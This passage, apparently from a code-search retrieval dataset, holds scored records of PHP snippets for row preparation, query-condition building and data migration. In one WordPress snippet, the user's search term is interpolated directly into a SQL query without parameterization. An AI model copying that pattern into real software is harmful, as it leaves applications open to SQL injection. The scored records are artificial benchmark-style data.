\"yes\";\t\t\t\n\t\t} else {\n\t\t\t$row->TriedChampix = \"no\";\t\t\t\n\t\t}\n } \t \n\t//change the options of csv (Once,Twice,More than 15 times,11 - 15 times,6 - 10 times,3 times) with our new option value field_how_many_times_have_you_tr\n if ($row->TimesQuitSmoking) {\n\t\t$Times_qs_options = Array( 1 => \"Once\", 2 => \"Twice\",3 => \"3 times\",8 => \"6 - 10 times\",13 => \"11 - 15 times\",15 => \"More than 15 times\");\n\t\t$TimesQuitSmoking = array_search(trim($row->TimesQuitSmoking), $Times_qs_options);\n\t\t$row->TimesQuitSmoking = $TimesQuitSmoking;\n }\n\t//change the options of csv (Boredom,Driving,Concentrating,Enforced no-smoking,Stress,Offered a cigarette,Anxious / nervous,Alcohol,Waking up,Completed a task,Relaxed,Coffee / Tea,With Smokers,Socialising) with our new option value field_what_triggers_you_to_smoke\n if ($row->PrimaryTriggers) {\n\t\t$PrimaryTriggersOptions = Array( 'boredom' => \"Boredom\", 'socialising' => \"Socialising\",'stress' => \"Stress\");\t\t\n\t\t$Oldoptions = explode(\"|\", $row->PrimaryTriggers);\n\t\t$PrimaryTriggers = array_intersect($PrimaryTriggersOptions,$Oldoptions);\n\t\t$PrimaryTriggers = array_flip($PrimaryTriggers);\n\t\t$row->PrimaryTriggers = $PrimaryTriggers;\n }\n\t//change the options of csv (Weight gain,Dealing with stress/mood changes/irritability,Failing this quit attempt,Being able to break the habit/routine,Nicotine withdrawal symptoms) with our new option value field_how_many_times_have_you_tr\n if ($row->Fears) {\n\t\t$FearsOptions = Array('failing quit attempt' => 'Failing this quit attempt','mood' => 'Dealing with stress/mood changes/irritability','weight gain' => 'Weight gain','withdrawal' => 'Nicotine withdrawal symptoms');\t\t\n\t\t$FearsOldoptions = explode(\"|\", $row->Fears);\n\t\t$Fears = array_intersect($FearsOptions,$FearsOldoptions);\n\t\t$Fears = array_flip($Fears);\n\t\t$row->Fears = $Fears;\n }\n \n \n }", "title": "" }, { "docid": "f5c1a7cc8a36e2a519ddd084384f7f17", "score": "0.50571597", "text": "abstract public function prepareData();", "title": "" }, { "docid": "f4802eec7048797283c9bffbce815cda", "score": "0.5043662", "text": "public function prepareRow($migrate, $row, $attributes) {\n $field_name = $this->field['field_name'];\n\n $properties = array(\n $field_name . '_value' => array(),\n $field_name . '_languages' => array(),\n );\n\n foreach ($attributes as $code => $attribute) {\n if (isset($row->values[$code])) {\n foreach ($row->values[$code] as $locale => $values) {\n $language = ($this->field['translatable'] ?\n $language = commerce_akeneo_locale_to_language($locale) :\n LANGUAGE_NONE\n );\n\n foreach ($values as $value) {\n $properties[$field_name . '_value'][$language][] = $value['value'];\n }\n\n $properties[$field_name . '_languages'][$language] = $language;\n }\n }\n }\n\n $this->formatPrepareRowProperties($field_name, $row, $properties);\n\n return TRUE;\n }", "title": "" }, { "docid": "fbbd2c6b2a650569314157fd82293964", "score": "0.5035935", "text": "function prepare()\r\n\t{\r\n\t\treturn parent::prepare();\r\n\t}", "title": "" }, { "docid": "cebf980fc8bc031ad550a2a440903b67", "score": "0.50282013", "text": "public function prepare($entity, $row) {\n $this->extractDateEnd($entity, $row, 'duration');\n\n $this->extractBudget($entity, $row, 'budget_amount', 'budget_currency');\n }", "title": "" }, { "docid": "828bb1b8bd4992d91811c9e1b70a4eb4", "score": "0.5014645", "text": "protected function resolveConditions()\n\t{\n\t\tif ($this->isEmpty()) return [ [], [] ];\n\n\t\t$conditions = array_filter([\n\t\t\t$this->resolveStringCondition([ 'type' ], $this->type),\n\t\t\t$this->resolveStringCondition([ 'uri', 'commandName', 'jobName', 'testName' ], array_merge($this->uri, $this->name)),\n\t\t\t$this->resolveStringCondition([ 'controller' ], $this->controller),\n\t\t\t$this->resolveExactCondition([ 'method' ], $this->method),\n\t\t\t$this->resolveNumberCondition([ 'responseStatus', 'commandExitCode', 'jobStatus', 'testStatus' ], $this->status),\n\t\t\t$this->resolveNumberCondition([ 'responseDuration' ], $this->time),\n\t\t\t$this->resolveDateCondition([ 'time' ], $this->received)\n\t\t]);\n\n\t\t$sql = array_map(function ($condition) { return $condition[0]; }, $conditions);\n\t\t$bindings = array_reduce($conditions, function ($bindings, $condition) {\n\t\t\treturn array_merge($bindings, $condition[1]);\n\t\t}, []);\n\n\t\treturn [ $sql, $bindings ];\n\t}", "title": "" }, { "docid": "82a07263444e64d34f319f1a9c027125", "score": "0.5014453", "text": "abstract protected function getWhereForRow($data);", "title": "" }, { "docid": "b792bba991bcf0ad523a7f657458e092", "score": "0.5007119", "text": "protected function _prepareRowForDb(array $rowData)\n {\n $rowData = $this->_customFieldsMapping($rowData);\n\n $rowData = parent::_prepareRowForDb($rowData);\n\n static $lastSku = null;\n\n if (Import::BEHAVIOR_DELETE == $this->getBehavior()) {\n return $rowData;\n }\n\n $lastSku = $rowData[self::COL_SKU];\n\n if ($this->isSkuExist($lastSku)) {\n $newSku = $this->skuProcessor->getNewSku($lastSku);\n $rowData[self::COL_ATTR_SET] = $newSku['attr_set_code'];\n $rowData[self::COL_TYPE] = $newSku['type_id'];\n }\n\n return $rowData;\n }", "title": "" }, { "docid": "46ccf01019dd84f41bcf658e08d5a817", "score": "0.4994555", "text": "function setRowDatas(&$row) {\r\n\t\t/* for optimization reason, do not save row. save just needed parameters */\r\n\r\n\t\t//$this->_specific_data\t= isset($row->specific) ? $row->specific : '';\r\n\t}", "title": "" }, { "docid": "a0ef862877cbc92df335632635af44f6", "score": "0.49823117", "text": "protected function _prepareRowForDb(array $rowData)\n {\n /**\n * Convert all empty strings to null values, as\n * a) we don't use empty string in DB\n * b) empty strings instead of numeric values will product errors in Sql Server\n */\n foreach ($rowData as $key => $val) {\n if ($val === '') {\n $rowData[$key] = null;\n }\n }\n return $rowData;\n }", "title": "" }, { "docid": "a316fe85fceea0ca46c2dec2ae228705", "score": "0.49747878", "text": "private function buildWhere()\n {\n $query = array();\n\n // Make sure there's something to do\n if (isset($this->query['where']) and count($this->query['where'])) {\n foreach ($this->query['where'] as $group => $conditions) {\n $group = array(); // Yes, because the $group above is not used, get over it.\n foreach ($conditions as $condition => $value) {\n // Get column name\n $cond = explode(\" \", $condition);\n $column = str_replace('`', '', $cond[0]);\n $safeColumn = $this->columnName($column);\n\n // Make the column name safe\n $condition = str_replace($column, $safeColumn, $condition);\n\n // Add value to the bind queue\n $valueBindKey = str_replace(array('.', '`'), array('_', ''), $safeColumn);\n\n if (!empty($value) or $value !== null) {\n $this->valuesToBind[$valueBindKey] = $value;\n }\n\n // Add condition to group\n $group[] = str_replace(\"?\", \":{$valueBindKey}\", $condition);\n }\n\n // Add the group\n $query[] = \"(\" . implode(\" AND \", $group) . \")\";\n }\n\n // Return\n return \"WHERE \" . implode(\" OR \", $query);\n }\n }", "title": "" }, { "docid": "11752413af48b258e0dba55d628fec67", "score": "0.49651206", "text": "public function prepareRow($current_row) {\n if ($current_row->parent == 0) {\n \tunset($current_row->parent);\n }else{\n\t\t // check if parent is in map-table; if not then skip row\n\t \t$dest = db_select('migrate_map_termblog', 'tb')\n\t ->fields('tb', array('destid1'))\n\t ->condition('tb.sourceid1', $current_row->parent, '=')\n\t\t ->execute()->fetchObject();\n\t\t\n\t\t return is_object($dest) && !empty($dest->destid1) ? TRUE : FALSE;\n }\n\n\treturn TRUE;\n\t\n }", "title": "" }, { "docid": "1c5cedd4551ea2bbcb530a9c08d94dc4", "score": "0.49469897", "text": "function prepare()\r\n {\r\n return parent::prepare();\r\n }", "title": "" }, { "docid": "1c5cedd4551ea2bbcb530a9c08d94dc4", "score": "0.49469897", "text": "function prepare()\r\n {\r\n return parent::prepare();\r\n }", "title": "" }, { "docid": "1c5cedd4551ea2bbcb530a9c08d94dc4", "score": "0.49469897", "text": "function prepare()\r\n {\r\n return parent::prepare();\r\n }", "title": "" }, { "docid": "a4b9515db4c80fda9ebd0635de28c74d", "score": "0.49340048", "text": "public function prepareRow($row) {\t \n\t//change the options of csv (Once,Twice,More than 15 times,11 - 15 times,6 - 10 times,3 times) with our new option value \n if ($row->email) {\n\t\t//$row->email = \"temp\".$row->email;\n\t\t$row->email = $row->email;\n }\n if ($row->username) {\n\t\t//$row->username = \"temp\".$row->username;\n\t\t$row->username = $row->username;\n }\n }", "title": "" }, { "docid": "66c07161a898af3c4e8427a58ea1e66f", "score": "0.49289882", "text": "private function prepare()\n {\n $this->selectFields[$this->tableName][] = $this->rootEntityIdentifier;\n\n $sColumns = explode(',', $this->requestParams['sColumns']);\n\n for ($i = 0; $i < $this->iColumns; $i++) {\n\n if ($this->requestParams['mDataProp_' . $i] != null) {\n\n $field = $this->requestParams['mDataProp_' . $i];\n\n if ($sColumns[$i] != '') {\n if ($field != $sColumns[$i]) {\n $field = $sColumns[$i];\n }\n }\n\n // association delimiter found\n if (strstr($field, '.') !== false) {\n\n // separate fields\n $fieldsArray = explode('.', $field);\n // set associations in selectFields[]\n $this->setAssociations($fieldsArray, 0, $this->metadata);\n\n } else {\n\n // no association found\n if ($field !== $this->rootEntityIdentifier) {\n array_push($this->selectFields[$this->tableName], $field);\n }\n\n $this->allFields[] = $this->tableName . '.' . $field;\n\n }\n\n } else {\n\n $this->allFields[] = '';\n\n }\n }\n\n return $this;\n }", "title": "" }, { "docid": "868a117ca0ed63cec9487ec33a6a70fb", "score": "0.49207595", "text": "protected function _prepareAlbumCommentConditionsCustomized(array &$sqlConditions, array $conditions, array $fetchOptions)\n {\n }", "title": "" }, { "docid": "442c2c8d0ab470681dbb514cfb73a4ac", "score": "0.4916026", "text": "public function prepare_items(){\n $columns = $this->get_columns();\n $hidden = $this->get_hidden_columns();\n $sortable = $this->get_sortable_columns();\n $action = $this->current_action();\n\n $data = $this->table_data();\n usort( $data, array( &$this, 'sort_data' ) );\n\n $perPage = 10;\n $currentPage = $this->get_pagenum();\n $totalItems = count($data);\n\n $this->set_pagination_args( array(\n 'total_items' => $totalItems,\n 'per_page' => $perPage\n ) );\n\n $data = array_slice($data,(($currentPage-1)*$perPage),$perPage);\n $this->_column_headers = array($columns, $hidden, $sortable);\n\n $search = ( isset( $_REQUEST['s'] ) ) ? $_REQUEST['s'] : false;\n if(!empty($search)){\n global $wpdb;\n \n try {\n $search = sanitize_text_field( $search );\n $data = $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}lic_activations WHERE UserName LIKE '%$search%'\", ARRAY_A);\n if(!is_wp_error( $wpdb )){\n $this->items = $data;\n }\n } catch (\\Throwable $th) {\n //throw $th;\n }\n\n }else{\n $this->items = $data;\n }\n \n }", "title": "" }, { "docid": "a7b5a7ffbaffe7ade5532bc3258c6558", "score": "0.4913087", "text": "public function prep(){\n $where = $this->question_where();\n $where['instruction']=trim($this->input->post('instruction'));\n return $where;\n }", "title": "" }, { "docid": "eb0107af7575a5bbe2f1c50d398eea40", "score": "0.48868006", "text": "public function prepareRow (array &$row, $productId)\n\t{\n\t\tforeach ($this->_categoryFields as $field => $values) {\n\t\t\tif (isset($values[$productId])) {\n\t\t\t\t$row[] = $values[$productId];\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$row[] = '';\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "5989622d92c5638d2683faee0af0a396", "score": "0.48865804", "text": "private function _customFieldsMapping($rowData)\n {\n foreach ($this->_fieldsMap as $systemFieldName => $fileFieldName) {\n if (array_key_exists($fileFieldName, $rowData)) {\n $rowData[$systemFieldName] = $rowData[$fileFieldName];\n }\n }\n\n $rowData = $this->_parseAdditionalAttributes($rowData);\n\n $rowData = $this->_setStockUseConfigFieldsValues($rowData);\n if (array_key_exists('status', $rowData)\n && $rowData['status'] != \\Magento\\Catalog\\Model\\Product\\Attribute\\Source\\Status::STATUS_ENABLED\n ) {\n if ($rowData['status'] == 'yes') {\n $rowData['status'] = \\Magento\\Catalog\\Model\\Product\\Attribute\\Source\\Status::STATUS_ENABLED;\n } elseif (!empty($rowData['status']) || $this->getRowScope($rowData) == self::SCOPE_DEFAULT) {\n $rowData['status'] = \\Magento\\Catalog\\Model\\Product\\Attribute\\Source\\Status::STATUS_DISABLED;\n }\n }\n return $rowData;\n }", "title": "" }, { "docid": "fdf3dae62f4086815e4530fb489ba5cb", "score": "0.48835915", "text": "public function _prepare() {\n if( !DBwrite::connected() ) {\n DBwrite::connect();\n }\n\n $query = $this->query;\n foreach( $this->key_value_map as $key => $value ) {\n $query = str_replace(\n '#'.$key, \n $this->sanitizeValue( $key, $value ),\n $query\n );\n }\n \n $this->real_query = $query;\n return $this->real_query;\n }", "title": "" }, { "docid": "d4f2f49b8433ac751c52372924f11f48", "score": "0.48790455", "text": "public function initRowsHolders()\n {\n $this->phantomIdMap = [\n 'tasks' => [],\n 'calendars' => [],\n 'resources' => []\n ];\n\n $this->updatedRows = [\n 'tasks' => [],\n 'calendars' => [],\n 'resources' => []\n ];\n\n $this->removedRows = [\n 'tasks' => [],\n 'assignments' => []\n ];\n }", "title": "" }, { "docid": "3c110831aa4697764fb3ecebac86ae3d", "score": "0.48785278", "text": "protected function prepare($conditions) {\n\t\tif(is_array($conditions) && !empty($conditions)) {\n\t\t\t$result = array(0 => \"\");\n\t\t\tforeach($conditions as $key=>$value) {\n\t\t\t\t$join = \"\";\n\t\t\t\tif(!empty($result[0])) { $join = \" AND \"; }\n\t\t\t\tif(!empty($result[0])) { $result[0] .= $join; }\n\n\t\t\t\t//Change from IN to single if only one element\n\t\t\t\tif(is_array($value) && sizeof($value) == 1) { $value = array_values($value); $value = $value[0]; } \n\t\t\t\t//Handle empty arrays\n\t\t\t\tif(is_array($value) && empty($value)) { continue; } \t\t\t\t\t\n\n\t\t\t\t//Handle special cases\n\t\t\t\tif(!is_array($value) && preg_match('!IS (NOT )?NULL!sim',$value)) {\n\t\t\t\t\t$result[0] .= \"$key $value\";\n\t\t\t\t}\n\t\t\t\t//Handle array of values\n\t\t\t\telse if(is_array($value)) {\n\t\t\t\t\t$instr = str_repeat('?,', count($value) - 1) . '?';\n\t\t\t\t\t$result[0] .= \"$key IN ($instr)\";\n\t\t\t\t\tforeach($value as $v) { $result[] = $v; }\n\t\t\t\t//Handle single value\n\t\t\t\t} else {\n\t\t\t\t\t$result[0] .= \"$key = ?\";\n\t\t\t\t\t$result[] = $value;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(empty($result[0])) { return array(); }\n\t\t\treturn $result;\n\t\t}\n\t\treturn $conditions;\n\t}", "title": "" }, { "docid": "e0972d4af1c84b0865a79472c1124b93", "score": "0.4878069", "text": "public function prepare_items()\n {\n $columns = $this->get_columns();\n $hidden = $this->get_hidden_columns();\n $sortable = $this->get_sortable_columns();\n $data = $this->table_data();\n usort( $data, array( &$this, 'sort_data' ) );\n $perPage = 10;\n $currentPage = $this->get_pagenum();\n $totalItems = count($data);\n $this->set_pagination_args( array(\n 'total_items' => $totalItems,\n 'per_page' => $perPage\n ) );\n $data = array_slice($data,(($currentPage-1)*$perPage),$perPage);\n $this->_column_headers = array($columns, $hidden, $sortable);\n $this->process_bulk_action();\n $this->items = $data;\n }", "title": "" }, { "docid": "7a3e5039c01e81751881016ba28b39e6", "score": "0.48631403", "text": "public function getCondition() { \n \t\treturn $this->condition . tx_newspaper::enableFields(tx_newspaper::getTable($this)); \n \t}", "title": "" }, { "docid": "35e1399e123179792375d38568e61983", "score": "0.4860614", "text": "function prepareData()\r\n\t{\r\n\t\treturn true;\r\n\t}", "title": "" }, { "docid": "3244dfde700099cdd08868d81bd6d83d", "score": "0.48464584", "text": "protected function _prepareAddressRowData(array $rowData)\n {\n $excludedAttributes = [\n CustomerComposite::COLUMN_DEFAULT_BILLING,\n CustomerComposite::COLUMN_DEFAULT_SHIPPING,\n ];\n $prefix = CustomerComposite::COLUMN_ADDRESS_PREFIX;\n\n $result = [];\n foreach ($rowData as $key => $value) {\n if (!in_array($key, $this->_customerAttributes)) {\n if (!in_array($key, $excludedAttributes)) {\n $key = str_replace($prefix, '', $key);\n }\n $result[$key] = $value;\n }\n }\n\n return $result;\n }", "title": "" }, { "docid": "2f728f89e883040be1316fee15932dea", "score": "0.48430052", "text": "public function prepareData($params){\r\n\t\t$available_data = \\DB::table($this->table);\r\n\t\t$recordsTotal = $available_data->count();\r\n\r\n\t\t// seleted columns\r\n\t\t// $select = array('u.*', 'g.name AS gender', 'r.name AS role_name', 'r.id AS role_id');\r\n\t\t// if(@$params['selected_columns'] != ''){\r\n\t\t// \t$select = explode(',', $params['selected_columns']);\r\n\t\t// }\r\n\r\n\t\t// join here\r\n\t\t// $available_data = $available_data->select($select);\r\n\r\n\t\t// condition here\r\n\t\t$filters = $params['filter'];\r\n\t\tforeach($filters as $column => $items){\r\n\t\t\tforeach($items as $item){\r\n\t\t\t\tif(is_array($item)){\r\n\t\t\t\t\tif(!empty($item['value'])){\r\n\t\t\t\t\t\t$available_data = $available_data->where($column, $item['op'], $item['value']);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tcontinue;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t\tif(!empty($items['value'])){\r\n\t\t\t\t\tif(strtolower($items['op']) == 'like'){\r\n\t\t\t\t\t\t$items['value'] = '%' . $items['value'] . '%';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(strtolower($items['op']) != 'in'){\r\n\t\t\t\t\t\t$available_data = $available_data->where($column, $items['op'], $items['value']);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$available_data = $available_data->whereIn($column, $items['value']);\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t// }\r\n\t\t}\r\n\t\treturn array(\r\n\t\t\t'recordsTotal' => $recordsTotal,\r\n\t\t\t'data' => $available_data,\r\n\t\t);\r\n\t}", "title": "" }, { "docid": "926b818c3b755dc5ffc3a90042529082", "score": "0.4836462", "text": "public function prepare_items()\r\n {\r\n $columns = $this->get_columns();\r\n $hidden = $this->get_hidden_columns();\r\n $sortable = $this->get_sortable_columns();\r\n\r\n /** Process bulk action */\r\n $this->process_bulk_action();\r\n\r\n $data = $this->table_data();\r\n usort($data, array(&$this, 'sort_data'));\r\n $perPage = 30;\r\n $currentPage = $this->get_pagenum();\r\n $totalItems = count($data);\r\n $this->set_pagination_args(array(\r\n 'total_items' => $totalItems,\r\n 'per_page' => $perPage\r\n ));\r\n $data = array_slice($data, (($currentPage - 1) * $perPage), $perPage);\r\n // var_dump($data);\r\n // die();\r\n $this->_column_headers = array($columns, $hidden, $sortable);\r\n $this->items = $data;\r\n }", "title": "" }, { "docid": "02a3068f285e27783ea9e2b68cf86184", "score": "0.48325783", "text": "function get_filter_condition($conditional_symbol) {\n //explicitly prevent filters from beign automatically applied to the report query\n return '';\n }", "title": "" }, { "docid": "50c1a0be04bfb98267a6bdda4fb9ffaf", "score": "0.48318446", "text": "public function prepare(){\n\t\tif ( !$this->created_at)\n\t\t\t$this->set();\n\t\treturn array(\n\t\t\t'created_at' => $this->created_at,\n\t\t\t'created_by' => $this->created_by );\t\t\n\t}", "title": "" }, { "docid": "0edbbe4040f124b3a84eb0fc8d8985a1", "score": "0.48284703", "text": "abstract protected function prepareData( $data );", "title": "" }, { "docid": "e43674f075a582f504b467e1e5bd6e7c", "score": "0.48262444", "text": "private function extractRows()\n {\n $this->setHeader($this->temp);\n $this->setRows($this->temp);\n }", "title": "" }, { "docid": "3a07c44b50c96a713e85fa0e69627c44", "score": "0.48259512", "text": "protected function prepareFilters()\n {\n if(count($this->api_query) === 0){\n return;\n }\n\n // Matched WHERE filters would be all\n // that are not KEYWORDS (count, page, embed...)\n foreach($this->api_query as $column => $value) {\n if(in_array($column, $this->api_keyword_filters)){\n continue;\n }\n\n $this->where_filters[$column]= $value;\n }\n }", "title": "" }, { "docid": "f8ca9320ed28cb894df03bf57687f434", "score": "0.4816633", "text": "function getCondRow($sensorid, $cond, $cval, $create = false) {\n\tif ($create) { // Init fields if row creation\n\t\t$cval['address'] = \"\";\n\t\t$cval['operator'] = \"\";\n\t\t$cval['value'] = \"\";\n\t} else {\n\t\techo \"<TR>\";\n\t}\n\tdisplay_td_checkbox(\"cond\", $cond, \"csel\");\n\techo \"<TD>\";\n\techo \"<INPUT TYPE=text ID=caddr$cond VALUE=\\\"\" . str_replace(\"/sensors/$sensorid/\", \"\", $cval['address']) . \"\\\" CLASS=ui-corner-all>\";\n\techo \"<TD>\";\n\tselOperator(\"sbcond_\" . $cond, $cval['operator']);\n\techo \"<TD>\";\n\techo \"<INPUT TYPE=text ID=cval$cond VALUE=\\\"\";\n\tif ($cval['operator'] == \"dx\") { // No value for dx\n\t\techo \"\\\" style=\\\"display: none;\\\"\";\n\t} else {\n\t\techo $cval['value'] . \"\\\"\";\n\t}\n\techo \" CLASS=ui-corner-all>\\n\";\n}", "title": "" }, { "docid": "1a91d95a92eec632d7bbb98034eea98d", "score": "0.4803445", "text": "protected function getConditions()\n {\n $entityPk = (array)$this->mapper->getConfig()->getPrimaryKey();\n $conditions = [];\n foreach ($entityPk as $col) {\n $val = $this->entityHydrator->get($this->entity, $col);\n if ($val) {\n $conditions[$col] = $val;\n }\n }\n\n // not enough columns? reset\n if (count($conditions) != count($entityPk)) {\n return [];\n }\n\n return $conditions;\n }", "title": "" }, { "docid": "d6f6cb0d79bf147a3c07d0b0490f8239", "score": "0.48015296", "text": "function prepareFields() {\r\n\t\t$data = array_keys($this->modx->getFieldMeta('msProductData'));\r\n\t\tforeach ($this->resourceArray as $k => $v) {\r\n\t\t\tif (is_array($v) && in_array($k, $data)) {\r\n\t\t\t\t$tmp = $this->resourceArray[$k];\r\n\t\t\t\t$this->resourceArray[$k] = array();\r\n\t\t\t\tforeach ($tmp as $v2) {\r\n\t\t\t\t\tif (!empty($v2)) {\r\n\t\t\t\t\t\t$this->resourceArray[$k][] = array('value' => $v2);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (empty($this->resourceArray['vendor'])) {\r\n\t\t\t$this->resourceArray['vendor'] = '';\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "a711143aa3c9dc814d6ea10a49d2b3a8", "score": "0.479766", "text": "public function afterPrepare($itemArray, Cond $cond = null)\n {\n return $itemArray;\n }", "title": "" }, { "docid": "a04d79af9b3d757ef6da9b9c6f5bf214", "score": "0.47908688", "text": "public function generateDeviceConditionConfiguration($row)\n {\n if (!Input::get('do') == 'article'\n || !Input::get('do') == 'postmanager'\n || Input::get('task') == 'indexmanager'\n ) {\n return;\n }\n\n $conditions = deserialize($row['device_condition']);\n $allConditions = array('desktop', 'mobile');\n $return = '';\n\n Controller::loadLanguageFile('default');\n\n if (!$conditions) {\n foreach ($allConditions as $condition) {\n $return .= Image::getHtml(\n '/system/modules/z_device-condition/assets/icons/' . $condition . '.png',\n $this->getTranslationForCondition($condition)\n );\n }\n } else {\n\n foreach ($allConditions as $condition) {\n if (in_array($condition, $conditions)) {\n $return .= Image::getHtml(\n '/system/modules/z_device-condition/assets/icons/' . $condition . '.png',\n $this->getTranslationForCondition($condition)\n );\n } else {\n $return .= Image::getHtml(\n '/system/modules/z_device-condition/assets/icons/disabled/' . $condition . '.png',\n $this->getTranslationForCondition($condition)\n );\n }\n }\n }\n\n return $return;\n }", "title": "" }, { "docid": "17c11845a96fb19f1b78d06912a8f14f", "score": "0.47671136", "text": "function build_sql_conditions( $args = array() ){\r\n\t\tglobal $wpdb;\r\n\t\t$events_table = $wpdb->prefix . EM_EVENTS_TABLE;\r\n\t\t$locations_table = $wpdb->prefix . EM_LOCATIONS_TABLE;\r\n\t\t\r\n\t\t$conditions = parent::build_sql_conditions($args);\r\n\t\t//eventful locations\r\n\t\tif( true == $args['eventful'] ){\r\n\t\t\t$conditions[] = \"{$events_table}.event_id IS NOT NULL\";\r\n\t\t}elseif( true == $args['eventless'] ){\r\n\t\t\t$conditions[] = \"{$events_table}.event_id IS NULL\";\r\n\t\t}\r\n\t\treturn $conditions;\r\n\t}", "title": "" }, { "docid": "c781ed4ef8bcc3b55552d76534cf39fd", "score": "0.47623605", "text": "public function prepare()\r\n {\r\n return $this->processor->prepare($this);\r\n }", "title": "" }, { "docid": "008cca7f826f70fca4d4b61a4ed67721", "score": "0.476141", "text": "protected function prepareDetailsTables()\n\t{\n\t}", "title": "" }, { "docid": "7732c1a5536f8e0fb4c55dc856a2365b", "score": "0.47606632", "text": "protected function prepareUpdateStatement() {\n $clauses = [];\n foreach ($this->uniqueColumns as $column) {\n $clauses[] = \"$column = :$column\";\n }\n\n $clauses = implode(' AND ', $clauses);\n\n // Fields to update.\n $fields = [];\n foreach (array_diff($this->columns, $this->uniqueColumns) as $field) {\n $fields[] = \"$field = :$field\";\n }\n $fields = implode(',', $fields);\n\n // Prepare our statement.\n return $this->connection->prepare(\"UPDATE {$this->table} SET $fields WHERE $clauses\");\n }", "title": "" }, { "docid": "00936770bd2c65d9f27a935b28ea48f0", "score": "0.47580242", "text": "protected function prepare()\n\t{\n\t}", "title": "" }, { "docid": "ef008a2e1c1174a75e444d101bbd9622", "score": "0.47533998", "text": "protected function _buildCondition(){\n \t$aryCondition = array();\n \t\n \tif(!empty($this->postData)){\n \t\t //search\n\t\t\t \t\t\t\n\t\t\tif($this->postData['title']!=''){\n \t\t \t$aryCondition['like'][] = array(\"mt.title\"=>$this->postData['title']);\n \t\t }\t\t\t\n\t\t\tif($this->postData['page']!=''){\n \t\t \t$aryCondition['and'][] = array(\"mt.page\"=>$this->postData['page']);\n \t\t }\t\t\t\n\t\t\tif($this->postData['code']!=''){\n \t\t \t$aryCondition['like'][] = array(\"mt.code\"=>$this->postData['code']);\n \t\t }\t\t\t\n\t\t\tif($this->postData['status']!=''){\n \t\t \t$aryCondition['and'][] = array(\"mt.status\"=>$this->postData['status']);\n \t\t }\t\t\t\n\n \t}\n \treturn $aryCondition;\n }", "title": "" }, { "docid": "7fa859d03469c1aa87a26fcbee0918ad", "score": "0.47503066", "text": "function add_condition($item) {\n\t\treturn $this->conditions[$this->prefix.$item['id']] = $item['condition'];\n\t}", "title": "" }, { "docid": "4fc7541896f3179d30d33928b014a0ab", "score": "0.47492197", "text": "public function process_filter_data_query($filter_data = array())\r\n {\r\n if($this->is_error === true){return;}\r\n \r\n // Peform lower module/table query statement\r\n foreach ($this->model_id_list() as $convert_condition)\r\n {\r\n // Use to store the extracted data\r\n $data_record = array();\r\n \r\n // Loop through data to obtain all value\r\n foreach ($convert_condition[\"data_column\"] as $data)\r\n {\r\n $data_name = $data[\"data\"];\r\n $data_key = $data[\"column\"];\r\n \r\n // Need to process each data\r\n foreach($filter_data as $f_key => $f_data)\r\n {\r\n // Peform string serach to cater for \"=\", \">\" and \"<\" symbol\r\n if(strpos($f_key,$data_name) !== false)\r\n {\r\n // Perform string replace\r\n $new_key = str_replace($data_name, $data_key, $f_key);\r\n $data_record[$new_key] = $filter_data[$f_key];\r\n unset($filter_data[$f_key]);\r\n }\r\n }\r\n }\r\n\r\n if($data_record !== array())\r\n {\r\n $mode = $convert_condition[\"table\"].\"_model\";\r\n $this->load->model($mode); // Invoke necessary model\r\n \r\n // Throw to sub model to process\r\n $data_record = $this->$mode->process_filter_data_query($data_record);\r\n \r\n // Check any name that is not tie to model\r\n foreach ($data_record as $r_key => $d_key)\r\n {\r\n if(strpos($r_key, \".\") === false)\r\n {\r\n // Map those with current sub model\r\n $new_key = $convert_condition[\"table\"].\".\".$r_key;\r\n $data_record[$new_key] = $data_record[$r_key];\r\n unset($data_record[$r_key]);\r\n }\r\n }\r\n \r\n $filter_data = array_merge($filter_data, $data_record);\r\n }\r\n\r\n // Merge back the data to filter data\r\n\r\n // @todo - careful about the range search and pattern, might not require as\r\n // currently as the column need range is at top level \r\n //$keys = array_keys($array); \r\n //$search_count (int) preg_grep(\"/c$/\",$keys);\r\n }\r\n \r\n return $filter_data;\r\n }", "title": "" }, { "docid": "8454a40bd5ae7366a62c9ef0a2a2e415", "score": "0.47456998", "text": "protected function _prepareColumns()\n {\n $this->addColumn('grid_checkbox', array(\n 'header_css_class' => 'a-center',\n 'type' => 'checkbox',\n 'index' => 'bannerslider_id',\n //'name' => 'grid_checkbox',\n 'align' => 'center',\n 'width' => '50px',\n 'values' => $this->_selectedId(),\n ));\n\n /*$this->addColumn('widget_banner_id', array(\n 'header' => Mage::helper('campaign')->__('ID'),\n 'align' =>'right',\n 'width' => '50px',\n 'index' => 'widget_banner_id',\n ));*/\n\n $this->addColumn('title', array(\n 'header' => Mage::helper('campaign')->__('Banner title'),\n 'align' => 'left',\n 'width' => '220px',\n 'index' => 'title',\n //'renderer' => 'Magestore_Campaign_Block_Adminhtml_Banner_Grid_Renderer_BannerType',\n //'filter' => false,\n ));\n\n /*$this->addColumn('in_widgets', array(\n 'header' => Mage::helper('campaign')->__('In Widgets'),\n 'index' => 'widget_selected_ids',\n //'width' => '220px',\n 'renderer' => 'Magestore_Campaign_Block_Adminhtml_Banner_Grid_Renderer_InWidgets',\n 'filter_condition_callback' => array($this, '_filterInWidgets'),\n ));*/\n\n $this->addColumn('in_campaign', array(\n 'header' => Mage::helper('campaign')->__('Added to Campaign'),\n 'index' => 'campaign_name',\n 'width' => '220px',\n 'filter_condition_callback' => array($this, '_filterInCampaign'),\n ));\n\n $this->addColumn('status', array(\n 'header' => Mage::helper('campaign')->__('Status'),\n 'align' => 'left',\n 'width' => '80px',\n 'index' => 'status',\n 'filter_index'=>'main_table.status',\n 'type' => 'options',\n 'options' => Magestore_Campaign_Model_Sliderstatus::getOptionArray(),\n ));\n\n $this->addColumn('action',\n array(\n 'header' => Mage::helper('campaign')->__('Action'),\n 'width' => '100',\n 'type' => 'action',\n 'getter' => 'getId',\n 'actions' => array(\n array(\n 'caption' => Mage::helper('campaign')->__('Edit'),\n 